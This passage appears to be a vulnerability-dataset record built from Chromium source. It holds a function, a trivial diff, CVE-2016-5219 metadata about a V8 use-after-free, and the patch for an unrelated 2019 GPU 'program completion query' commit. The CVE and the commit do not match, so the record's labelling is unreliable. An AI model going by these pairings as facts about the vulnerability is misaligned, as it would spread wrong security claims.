document->SetStateForNewFormElements(history_item_->GetDocumentState());\n@@ -1116,7 +1119,7 @@ void DocumentLoader::InstallNewDocument(\n frame_->GetPage()->GetChromeClient().InstallSupplements(*frame_);\n if (!overriding_url.IsEmpty())\n document->SetBaseURLOverride(overriding_url);\n- DidInstallNewDocument(document);\n+ DidInstallNewDocument(document, reason);\n \n // This must be called before DocumentWriter is created, otherwise HTML parser\n // will use stale values from HTMLParserOption."}<_**next**_>{"sha": "e5f59fd0c5ce7e5ce4b5a052fc75e6ec845ad9f5", "filename": "third_party/WebKit/Source/core/loader/DocumentLoader.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/loader/DocumentLoader.h", "raw_url": "https://github.com/chromium/chromium/raw/0ab2412a104d2f235d7b9fe19d30ef605a410832/third_party/WebKit/Source/core/loader/DocumentLoader.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/WebKit/Source/core/loader/DocumentLoader.h?ref=0ab2412a104d2f235d7b9fe19d30ef605a410832", "patch": "@@ -244,7 +244,7 @@ class CORE_EXPORT DocumentLoader\n InstallNewDocumentReason,\n ParserSynchronizationPolicy,\n const KURL& overriding_url);\n- void DidInstallNewDocument(Document*);\n+ void DidInstallNewDocument(Document*, InstallNewDocumentReason);\n void WillCommitNavigation();\n void DidCommitNavigation();\n "}
|
bool WebLocalFrameImpl::DispatchBeforeUnloadEvent(bool is_reload) {
if (!GetFrame())
return true;
return GetFrame()->Loader().ShouldClose(is_reload);
}
|
bool WebLocalFrameImpl::DispatchBeforeUnloadEvent(bool is_reload) {
if (!GetFrame())
return true;
return GetFrame()->Loader().ShouldClose(is_reload);
}
|
C
| null | null | null |
@@ -1818,7 +1818,6 @@ void WebLocalFrameImpl::SetInputEventsScaleForEmulation(
void WebLocalFrameImpl::LoadJavaScriptURL(const KURL& url) {
DCHECK(GetFrame());
-
// This is copied from ScriptController::executeScriptIfJavaScriptURL.
// Unfortunately, we cannot just use that method since it is private, and
// it also doesn't quite behave as we require it to for bookmarklets. The
|
Chrome
|
0ab2412a104d2f235d7b9fe19d30ef605a410832
|
fb6b7d43431f6a142d53150d14f441cbf1f3e461
| 0
|
bool WebLocalFrameImpl::DispatchBeforeUnloadEvent(bool is_reload) {
if (!GetFrame())
return true;
return GetFrame()->Loader().ShouldClose(is_reload);
}
|
153,613
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-5219
|
https://www.cvedetails.com/cve/CVE-2016-5219/
|
CWE-416
|
Medium
|
Partial
|
Partial
| null |
2017-01-19
| 6.8
|
A heap use after free in V8 in Google Chrome prior to 55.0.2883.75 for Mac, Windows and Linux, and 55.0.2883.84 for Android allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/a4150b688a754d3d10d2ca385155b1c95d77d6ae
|
a4150b688a754d3d10d2ca385155b1c95d77d6ae
|
Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
| 0
|
gpu/command_buffer/client/gles2_implementation.cc
|
{"sha": "f2c24a308124d59e8d878f4ee2db0bff4e3374a2", "filename": "gpu/GLES2/extensions/CHROMIUM/CHROMIUM_completion_query.txt", "status": "added", "additions": 55, "deletions": 0, "changes": 55, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/GLES2/extensions/CHROMIUM/CHROMIUM_completion_query.txt", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/GLES2/extensions/CHROMIUM/CHROMIUM_completion_query.txt", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/GLES2/extensions/CHROMIUM/CHROMIUM_completion_query.txt?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -0,0 +1,55 @@\n+Name\n+\n+ CHROMIUM_completion_query\n+\n+Name Strings\n+\n+ GL_CHROMIUM_completion_query\n+\n+Version\n+\n+ Last Modified Date: May 7, 2019\n+\n+Dependencies\n+\n+ OpenGL ES 2.0 is required.\n+\n+ GL_KHR_parallel_shader_compile is required.\n+\n+Overview\n+\n+ This extension provides a same query mechanism as the COMPLETION_STATUS_KHR\n+ in GL_KHR_parallel_shader_compile, which indicates whether the program\n+ linking or shader compilation has completed. The major advantage of this\n+ query is that it doesn't incurs an expensive round-trip to the GPU thread.\n+ So it's much cheaper for polling. You can use it this way:\n+ glBeginQueryEXT(PROGRAM_COMPLETION_QUERY_CHROMIUM, query);\n+ glLinkProgram(program);\n+ glEndQueryEXT(PROGRAM_COMPLETION_QUERY_CHROMIUM);\n+ GLuint available = 0u;\n+ glGetQueryObjectuivEXT(query, GL_QUERY_RESULT_AVAILABLE, &available);\n+ If 'available' returns true, that's equivalent to COMPLETION_STATUS_KHR\n+ returning true.\n+\n+New Procedures and Functions\n+\n+ None.\n+\n+Errors\n+\n+ None.\n+\n+New Tokens\n+\n+ Accepted by the <target> parameter of BeginQueryEXT, EndQueryEXT,\n+ and GetQueryObjectuivEXT:\n+\n+ PROGRAM_COMPLETION_QUERY_CHROMIUM 0x6009\n+\n+New State\n+\n+ None.\n+\n+Revision History\n+\n+ 5/3/2019 Documented the extension"}<_**next**_>{"sha": "58c61f42207e07ccaf191355109f18b993593939", "filename": "gpu/GLES2/gl2extchromium.h", "status": "modified", "additions": 10, "deletions": 0, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/GLES2/gl2extchromium.h", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/GLES2/gl2extchromium.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/GLES2/gl2extchromium.h?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -1287,6 +1287,16 @@ typedef void(GL_APIENTRYP PFNGLUNPREMULTIPLYANDDITHERCOPYCHROMIUMPROC)(\n #define GL_SHARED_IMAGE_ACCESS_MODE_READWRITE_CHROMIUM 0x8AF7\n #endif /* GL_CHROMIUM_shared_image */\n \n+/* GL_CHROMIUM_program_completion_query */\n+#ifndef GL_CHROMIUM_program_completion_query\n+#define GL_CHROMIUM_program_completion_query 1\n+\n+#ifndef GL_PROGRAM_COMPLETION_QUERY_CHROMIUM\n+// TODO(jie.a.chen@intel.com): Get official numbers for this constants.\n+#define GL_PROGRAM_COMPLETION_QUERY_CHROMIUM 0x6009\n+#endif\n+#endif /* GL_CHROMIUM_program_completion_query */\n+\n #ifdef __cplusplus\n }\n #endif"}<_**next**_>{"sha": "e830f36dcb817c55151239d6aa8c002819c19808", "filename": "gpu/command_buffer/build_gles2_cmd_buffer.py", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/build_gles2_cmd_buffer.py", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/build_gles2_cmd_buffer.py", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/build_gles2_cmd_buffer.py?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -744,6 +744,7 @@\n 'GL_ASYNC_PIXEL_PACK_COMPLETED_CHROMIUM',\n 'GL_COMMANDS_COMPLETED_CHROMIUM',\n 'GL_READBACK_SHADOW_COPIES_UPDATED_CHROMIUM',\n+ 'GL_PROGRAM_COMPLETION_QUERY_CHROMIUM',\n ],\n },\n 'RenderBufferParameter': {"}<_**next**_>{"sha": "d95fb3809ee8ec64d8b96e453becde747acc817b", "filename": "gpu/command_buffer/client/gles2_implementation.cc", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/client/gles2_implementation.cc", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/client/gles2_implementation.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/client/gles2_implementation.cc?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -6078,6 +6078,7 @@ void GLES2Implementation::BeginQueryEXT(GLenum target, GLuint id) {\n case GL_LATENCY_QUERY_CHROMIUM:\n case GL_ASYNC_PIXEL_PACK_COMPLETED_CHROMIUM:\n case GL_GET_ERROR_QUERY_CHROMIUM:\n+ case GL_PROGRAM_COMPLETION_QUERY_CHROMIUM:\n break;\n case GL_READBACK_SHADOW_COPIES_UPDATED_CHROMIUM:\n case GL_COMMANDS_COMPLETED_CHROMIUM:"}<_**next**_>{"sha": "20750bb6e8007ba47f7e6a48d5c783001a3e3548", "filename": "gpu/command_buffer/common/gles2_cmd_utils_implementation_autogen.h", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/common/gles2_cmd_utils_implementation_autogen.h", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/common/gles2_cmd_utils_implementation_autogen.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/common/gles2_cmd_utils_implementation_autogen.h?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -1008,6 +1008,10 @@ static const GLES2Util::EnumToString enum_to_string_table[] = {\n 0x6007,\n \"GL_LATENCY_QUERY_CHROMIUM\",\n },\n+ {\n+ 0x6009,\n+ \"GL_PROGRAM_COMPLETION_QUERY_CHROMIUM\",\n+ },\n {\n 0x78EC,\n \"GL_PIXEL_UNPACK_TRANSFER_BUFFER_CHROMIUM\",\n@@ -7371,6 +7375,8 @@ std::string GLES2Util::GetStringQueryTarget(uint32_t value) {\n {GL_COMMANDS_COMPLETED_CHROMIUM, \"GL_COMMANDS_COMPLETED_CHROMIUM\"},\n {GL_READBACK_SHADOW_COPIES_UPDATED_CHROMIUM,\n \"GL_READBACK_SHADOW_COPIES_UPDATED_CHROMIUM\"},\n+ {GL_PROGRAM_COMPLETION_QUERY_CHROMIUM,\n+ \"GL_PROGRAM_COMPLETION_QUERY_CHROMIUM\"},\n };\n return GLES2Util::GetQualifiedEnumString(string_table,\n base::size(string_table), value);"}<_**next**_>{"sha": "c731c9e3acabe86033e7311bc4104553a5947426", "filename": "gpu/command_buffer/service/feature_info.cc", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/feature_info.cc", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/feature_info.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/feature_info.cc?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -1542,6 +1542,9 @@ void FeatureInfo::InitializeFeatures() {\n // https://crbug.com/881152\n validators_.shader_parameter.AddValue(GL_COMPLETION_STATUS_KHR);\n validators_.program_parameter.AddValue(GL_COMPLETION_STATUS_KHR);\n+\n+ AddExtensionString(\"GL_CHROMIUM_completion_query\");\n+ feature_flags_.chromium_completion_query = true;\n }\n \n if (gfx::HasExtension(extensions, \"GL_KHR_robust_buffer_access_behavior\")) {"}<_**next**_>{"sha": "80c36fe53849d319aa7d68baf755908bdc19e0a5", "filename": "gpu/command_buffer/service/feature_info.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/feature_info.h", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/feature_info.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/feature_info.h?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -146,6 +146,7 @@ class GPU_GLES2_EXPORT FeatureInfo : public base::RefCounted<FeatureInfo> {\n bool nv_internalformat_sample_query = false;\n bool amd_framebuffer_multisample_advanced = false;\n bool ext_float_blend = false;\n+ bool chromium_completion_query = false;\n };\n \n FeatureInfo();"}<_**next**_>{"sha": "bdf18ec6d349a4ca42a35728eddcfa7b07183b10", "filename": "gpu/command_buffer/service/gles2_cmd_decoder.cc", "status": "modified", "additions": 7, "deletions": 0, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_decoder.cc", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_decoder.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/gles2_cmd_decoder.cc?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -17209,6 +17209,13 @@ error::Error GLES2DecoderImpl::HandleBeginQueryEXT(\n return error::kNoError;\n }\n break;\n+ case GL_PROGRAM_COMPLETION_QUERY_CHROMIUM:\n+ if (!features().chromium_completion_query) {\n+ LOCAL_SET_GL_ERROR(GL_INVALID_OPERATION, \"glBeginQueryEXT\",\n+ \"not enabled for program completion queries\");\n+ return error::kNoError;\n+ }\n+ break;\n case GL_SAMPLES_PASSED_ARB:\n if (!features().occlusion_query) {\n LOCAL_SET_GL_ERROR("}<_**next**_>{"sha": "3c043a23522f2ca45b24be48e376ed94946d8dc2", "filename": "gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc", "status": "modified", "additions": 37, "deletions": 2, "changes": 39, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.cc?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -2056,16 +2056,26 @@ bool GLES2DecoderPassthroughImpl::IsEmulatedQueryTarget(GLenum target) const {\n case GL_LATENCY_QUERY_CHROMIUM:\n case GL_ASYNC_PIXEL_PACK_COMPLETED_CHROMIUM:\n case GL_GET_ERROR_QUERY_CHROMIUM:\n+ case GL_PROGRAM_COMPLETION_QUERY_CHROMIUM:\n return true;\n \n default:\n return false;\n }\n }\n \n+bool GLES2DecoderPassthroughImpl::OnlyHasPendingProgramCompletionQueries() {\n+ return std::find_if(pending_queries_.begin(), pending_queries_.end(),\n+ [](const auto& query) {\n+ return query.target !=\n+ GL_PROGRAM_COMPLETION_QUERY_CHROMIUM;\n+ }) == pending_queries_.end();\n+}\n+\n error::Error GLES2DecoderPassthroughImpl::ProcessQueries(bool did_finish) {\n+ bool program_completion_query_deferred = false;\n while (!pending_queries_.empty()) {\n- const PendingQuery& query = pending_queries_.front();\n+ PendingQuery& query = pending_queries_.front();\n GLuint result_available = GL_FALSE;\n GLuint64 result = 0;\n switch (query.target) {\n@@ -2125,6 +2135,30 @@ error::Error GLES2DecoderPassthroughImpl::ProcessQueries(bool did_finish) {\n result = PopError();\n break;\n \n+ case GL_PROGRAM_COMPLETION_QUERY_CHROMIUM:\n+ GLint status;\n+ if (!api()->glIsProgramFn(query.program_service_id)) {\n+ status = GL_TRUE;\n+ } else {\n+ api()->glGetProgramivFn(query.program_service_id,\n+ GL_COMPLETION_STATUS_KHR, &status);\n+ }\n+ result_available = (status == GL_TRUE);\n+ if (!result_available) {\n+ // Move the query to the end of queue, so that other queries may have\n+ // chance to be processed.\n+ auto temp = std::move(query);\n+ pending_queries_.pop_front();\n+ pending_queries_.emplace_back(std::move(temp));\n+ if (did_finish && !OnlyHasPendingProgramCompletionQueries()) {\n+ continue;\n+ } else {\n+ program_completion_query_deferred = true;\n+ }\n+ }\n+ result = 0;\n+ break;\n+\n default:\n DCHECK(!IsEmulatedQueryTarget(query.target));\n if (did_finish) {\n@@ -2159,7 +2193,8 @@ error::Error GLES2DecoderPassthroughImpl::ProcessQueries(bool did_finish) {\n \n // If api()->glFinishFn() has been called, all of our queries should be\n // completed.\n- DCHECK(!did_finish || pending_queries_.empty());\n+ DCHECK(!did_finish || pending_queries_.empty() ||\n+ program_completion_query_deferred);\n return error::kNoError;\n }\n "}<_**next**_>{"sha": "64b67a205489f6be4d9dfa816b3fe061fefd1fa4", "filename": "gpu/command_buffer/service/gles2_cmd_decoder_passthrough.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.h", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/gles2_cmd_decoder_passthrough.h?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -511,6 +511,8 @@ class GPU_GLES2_EXPORT GLES2DecoderPassthroughImpl : public GLES2Decoder {\n }\n }\n \n+ bool OnlyHasPendingProgramCompletionQueries();\n+\n // A set of raw pointers to currently living PassthroughAbstractTextures\n // which allow us to properly signal to them when we are destroyed.\n base::flat_set<PassthroughAbstractTextureImpl*> abstract_textures_;\n@@ -670,6 +672,7 @@ class GPU_GLES2_EXPORT GLES2DecoderPassthroughImpl : public GLES2Decoder {\n std::vector<base::OnceClosure> callbacks;\n std::unique_ptr<gl::GLFence> buffer_shadow_update_fence = nullptr;\n BufferShadowUpdateMap buffer_shadow_updates;\n+ GLuint program_service_id = 0u;\n };\n base::circular_deque<PendingQuery> pending_queries_;\n \n@@ -849,6 +852,8 @@ class GPU_GLES2_EXPORT GLES2DecoderPassthroughImpl : public GLES2Decoder {\n // get rescheduled.\n std::vector<std::unique_ptr<gl::GLFence>> deschedule_until_finished_fences_;\n \n+ GLuint linking_program_service_id_ = 0u;\n+\n base::WeakPtrFactory<GLES2DecoderPassthroughImpl> weak_ptr_factory_;\n \n // Include the prototypes of all the doer functions from a separate header to"}<_**next**_>{"sha": "6cbcefcd737d7391546d9e8124cd407bc6939599", "filename": "gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc", "status": "modified", "additions": 11, "deletions": 1, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/gles2_cmd_decoder_passthrough_doers.cc?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -2226,12 +2226,15 @@ error::Error GLES2DecoderPassthroughImpl::DoLineWidth(GLfloat width) {\n error::Error GLES2DecoderPassthroughImpl::DoLinkProgram(GLuint program) {\n TRACE_EVENT0(\"gpu\", \"GLES2DecoderPassthroughImpl::DoLinkProgram\");\n SCOPED_UMA_HISTOGRAM_TIMER(\"GPU.PassthroughDoLinkProgramTime\");\n- api()->glLinkProgramFn(GetProgramServiceID(program, resources_));\n+ GLuint program_service_id = GetProgramServiceID(program, resources_);\n+ api()->glLinkProgramFn(program_service_id);\n \n // Program linking can be very slow. Exit command processing to allow for\n // context preemption and GPU watchdog checks.\n ExitCommandProcessingEarly();\n \n+ linking_program_service_id_ = program_service_id;\n+\n return error::kNoError;\n }\n \n@@ -3360,6 +3363,9 @@ error::Error GLES2DecoderPassthroughImpl::DoBeginQueryEXT(\n if (!sync)\n return error::kOutOfBounds;\n \n+ if (target == GL_PROGRAM_COMPLETION_QUERY_CHROMIUM) {\n+ linking_program_service_id_ = 0u;\n+ }\n if (IsEmulatedQueryTarget(target)) {\n if (active_queries_.find(target) != active_queries_.end()) {\n InsertError(GL_INVALID_OPERATION, \"Query already active on target.\");\n@@ -3456,6 +3462,10 @@ error::Error GLES2DecoderPassthroughImpl::DoEndQueryEXT(GLenum target,\n buffer_shadow_updates_.clear();\n break;\n \n+ case GL_PROGRAM_COMPLETION_QUERY_CHROMIUM:\n+ pending_query.program_service_id = linking_program_service_id_;\n+ break;\n+\n default:\n break;\n }"}<_**next**_>{"sha": "e4e661189e390ebd1e8a2aefda2ba4969d688e8a", "filename": "gpu/command_buffer/service/gles2_cmd_validation_implementation_autogen.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_validation_implementation_autogen.h", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/gpu/command_buffer/service/gles2_cmd_validation_implementation_autogen.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/gpu/command_buffer/service/gles2_cmd_validation_implementation_autogen.h?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -749,6 +749,7 @@ bool Validators::QueryTargetValidator::IsValid(const GLenum value) const {\n case GL_ASYNC_PIXEL_PACK_COMPLETED_CHROMIUM:\n case GL_COMMANDS_COMPLETED_CHROMIUM:\n case GL_READBACK_SHADOW_COPIES_UPDATED_CHROMIUM:\n+ case GL_PROGRAM_COMPLETION_QUERY_CHROMIUM:\n return true;\n }\n return false;"}<_**next**_>{"sha": "fd5693af70b0562491e2e43013d3c68e56387a24", "filename": "third_party/blink/renderer/modules/webgl/DEPS", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/third_party/blink/renderer/modules/webgl/DEPS", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/third_party/blink/renderer/modules/webgl/DEPS", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/modules/webgl/DEPS?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -1,4 +1,5 @@\n include_rules = [\n+ \"+base/containers/mru_cache.h\",\n \"+gpu/GLES2/gl2extchromium.h\",\n \"+gpu/command_buffer/client/gles2_interface.h\",\n \"+gpu/command_buffer/common/capabilities.h\","}<_**next**_>{"sha": "9709d1efd0fdec9848a8f0a2706f9e9a436f40fb", "filename": "third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc", "status": "modified", "additions": 56, "deletions": 2, "changes": 58, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -30,6 +30,7 @@\n #include \"base/numerics/checked_math.h\"\n #include \"base/stl_util.h\"\n #include \"build/build_config.h\"\n+#include \"gpu/GLES2/gl2extchromium.h\"\n #include \"gpu/command_buffer/client/gles2_interface.h\"\n #include \"gpu/command_buffer/common/capabilities.h\"\n #include \"gpu/config/gpu_feature_info.h\"\n@@ -1015,7 +1016,9 @@ WebGLRenderingContextBase::WebGLRenderingContextBase(\n &WebGLRenderingContextBase::MaybeRestoreContext),\n task_runner_(task_runner),\n num_gl_errors_to_console_allowed_(kMaxGLErrorsAllowedToConsole),\n- context_type_(context_type) {\n+ context_type_(context_type),\n+ program_completion_queries_(\n+ base::MRUCache<WebGLProgram*, GLuint>::NO_AUTO_EVICT) {\n DCHECK(context_provider);\n \n // TODO(http://crbug.com/876140) Make sure this is being created on a\n@@ -1304,6 +1307,8 @@ WebGLRenderingContextBase::~WebGLRenderingContextBase() {\n // context state.\n destruction_in_progress_ = true;\n \n+ clearProgramCompletionQueries();\n+\n // Now that the context and context group no longer hold on to the\n // objects they create, and now that the objects are eagerly finalized\n // rather than the context, there is very little useful work that this\n@@ -3455,7 +3460,10 @@ ScriptValue WebGLRenderingContextBase::getProgramParameter(\n \"invalid parameter name\");\n return ScriptValue::CreateNull(script_state);\n }\n-\n+ bool completed;\n+ if (checkProgramCompletionQueryAvailable(program, &completed)) {\n+ return WebGLAny(script_state, completed);\n+ }\n return WebGLAny(script_state, program->CompletionStatus(this));\n case GL_ACTIVE_UNIFORM_BLOCKS:\n case GL_TRANSFORM_FEEDBACK_VARYINGS:\n@@ -4190,7 +4198,17 @@ void WebGLRenderingContextBase::linkProgram(WebGLProgram* program) {\n return;\n }\n \n+ GLuint query = 0u;\n+ if (ExtensionEnabled(kKHRParallelShaderCompileName)) {\n+ ContextGL()->GenQueriesEXT(1, &query);\n+ ContextGL()->BeginQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM, query);\n+ }\n ContextGL()->LinkProgram(ObjectOrZero(program));\n+ if (ExtensionEnabled(kKHRParallelShaderCompileName)) {\n+ ContextGL()->EndQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM);\n+ addProgramCompletionQuery(program, query);\n+ }\n+\n program->IncreaseLinkCount();\n }\n \n@@ -8151,4 +8169,40 @@ void WebGLRenderingContextBase::getHTMLOrOffscreenCanvas(\n }\n }\n \n+void WebGLRenderingContextBase::addProgramCompletionQuery(WebGLProgram* program,\n+ GLuint query) {\n+ auto old_query = program_completion_queries_.Get(program);\n+ if (old_query != program_completion_queries_.end()) {\n+ ContextGL()->DeleteQueriesEXT(1, &old_query->second);\n+ }\n+ program_completion_queries_.Put(program, query);\n+ if (program_completion_queries_.size() > kMaxProgramCompletionQueries) {\n+ auto oldest = program_completion_queries_.rbegin();\n+ ContextGL()->DeleteQueriesEXT(1, &oldest->second);\n+ program_completion_queries_.Erase(oldest);\n+ }\n+}\n+\n+void WebGLRenderingContextBase::clearProgramCompletionQueries() {\n+ for (auto query : program_completion_queries_) {\n+ ContextGL()->DeleteQueriesEXT(1, &query.second);\n+ }\n+ program_completion_queries_.Clear();\n+}\n+\n+bool WebGLRenderingContextBase::checkProgramCompletionQueryAvailable(\n+ WebGLProgram* program,\n+ bool* completed) {\n+ GLuint id = 0;\n+ auto found = program_completion_queries_.Get(program);\n+ if (found != program_completion_queries_.end()) {\n+ id = found->second;\n+ GLuint available;\n+ ContextGL()->GetQueryObjectuivEXT(id, GL_QUERY_RESULT_AVAILABLE,\n+ &available);\n+ *completed = (available == GL_TRUE);\n+ return true;\n+ }\n+ return false;\n+}\n } // namespace blink"}<_**next**_>{"sha": "b57ae0d81834cd83744db34107078d7ef9cf4e2e", "filename": "third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h", "status": "modified", "additions": 8, "deletions": 0, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/a4150b688a754d3d10d2ca385155b1c95d77d6ae/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h", "raw_url": "https://github.com/chromium/chromium/raw/a4150b688a754d3d10d2ca385155b1c95d77d6ae/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h?ref=a4150b688a754d3d10d2ca385155b1c95d77d6ae", "patch": "@@ -29,6 +29,7 @@\n #include <memory>\n #include <set>\n \n+#include \"base/containers/mru_cache.h\"\n #include \"base/macros.h\"\n #include \"base/numerics/checked_math.h\"\n #include \"base/optional.h\"\n@@ -1738,6 +1739,13 @@ class MODULES_EXPORT WebGLRenderingContextBase : public CanvasRenderingContext,\n static unsigned max_active_webgl_contexts_;\n static unsigned max_active_webgl_contexts_on_worker_;\n \n+ void addProgramCompletionQuery(WebGLProgram* program, GLuint query);\n+ void clearProgramCompletionQueries();\n+ bool checkProgramCompletionQueryAvailable(WebGLProgram* program,\n+ bool* completed);\n+ static constexpr unsigned int kMaxProgramCompletionQueries = 128u;\n+ base::MRUCache<WebGLProgram*, GLuint> program_completion_queries_;\n+\n DISALLOW_COPY_AND_ASSIGN(WebGLRenderingContextBase);\n };\n "}<_**next**_>{"sha": "b859300f0c00639eabccd8a55a58cf138d26487d", "filename": "third_party/blink/tools/blinkpy/presubmit/audit_non_blink_usage.py", 